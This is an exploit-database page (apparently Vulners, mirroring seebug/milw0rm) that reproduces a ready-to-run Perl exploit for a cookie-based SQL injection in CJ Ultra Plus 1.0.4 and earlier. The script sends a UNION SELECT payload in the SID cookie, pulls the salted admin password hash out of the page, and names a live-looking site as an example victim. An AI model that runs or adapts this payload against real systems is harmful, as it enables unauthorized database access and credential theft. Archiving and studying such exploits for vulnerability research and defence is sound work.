Lucene search
K

CJ Ultra Plus <= 1.0.4 Cookie Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 28 Views

CJ Ultra Plus v1.0.4 Cookie SQL Injection Exploi

Code

                                                #!/usr/bin/perl
#
#	CJ Ultra Plus &#60;= v1.0.4 Cookie SQL Injection
#
#	found and coded by -SmoG-  /\GermAn hAckZ0r
#	contact: ICQ - 266836394
# 
#	
#	
#
#	hints:	- sometimes the parameter &#34;SID&#34; is different to the normal one... 
#			- i extract the hash from the html-code... but i was 2 lazy for coding a good working filter
#			- salted DES (normaly &#34;aa&#34; will be the salt, but it can be different)
#			- ive spend about 1 hour for this source... its my first exploit in perl... so plz be friendly with ur feedback...
#
#
#			&#62;&#62;&#62; GretzZz 2: pronoobz.org - Wesker, China Sun and all other memberZz &#60;&#60;&#60;

use LWP::UserAgent;
 
if ($#ARGV+1 !=1) {
print &#34;\n### CJ Ultra Plus &#60;= v1.0.4 Cookie SQL Injection Exploit###\n&#34;;
print &#34;found and coded by -SmoG-\n&#34;;
print &#34;\n\nUsage: perl xploit.pl -victim\n&#34;;
print &#34;       perl xploit.pl http://gayxboy.com/\n\n&#34;;				#LiVe-Dem0! letZz pwnz the pedophile!!
exit();
}
print &#34;\n### CJ Ultra Plus &#60;= v1.0.4 Cookie SQL Injection Exploit###\n&#34;;
print &#34;\nstarting exploit...&#34;;
$target=$ARGV[0];
chomp($target);
if($target !~ /^http:\/\//)
{
	$target = &#34;http://&#34;.$target;
}
if($target !~ /\/$/)
{
	$target .= &#34;/&#34;;
}
@header = (&#39;Cookie&#39; =&#62; &#34;SID=&#39;UNION SELECT b12 from settings/*&#34;);
$ua = LWP::UserAgent-&#62;new;
$ua-&#62;timeout(10);
$ua-&#62;env_proxy;
$ua-&#62;agent(&#34;Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12&#34;);
$response = $ua-&#62;get($target, @header);
if ($response-&#62;is_success)
{
$temp = $response-&#62;content;
if ($temp =~/(.*)SID=(.*);/)
	{
	$result=substr($temp,85,13); 
	print &#34;\n\adminhash: &#34;; print $result;
	}
}
else
{
 die &#34;Error: &#34;.$response-&#62;status_line;
}

# milw0rm.com [2008-09-22]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
28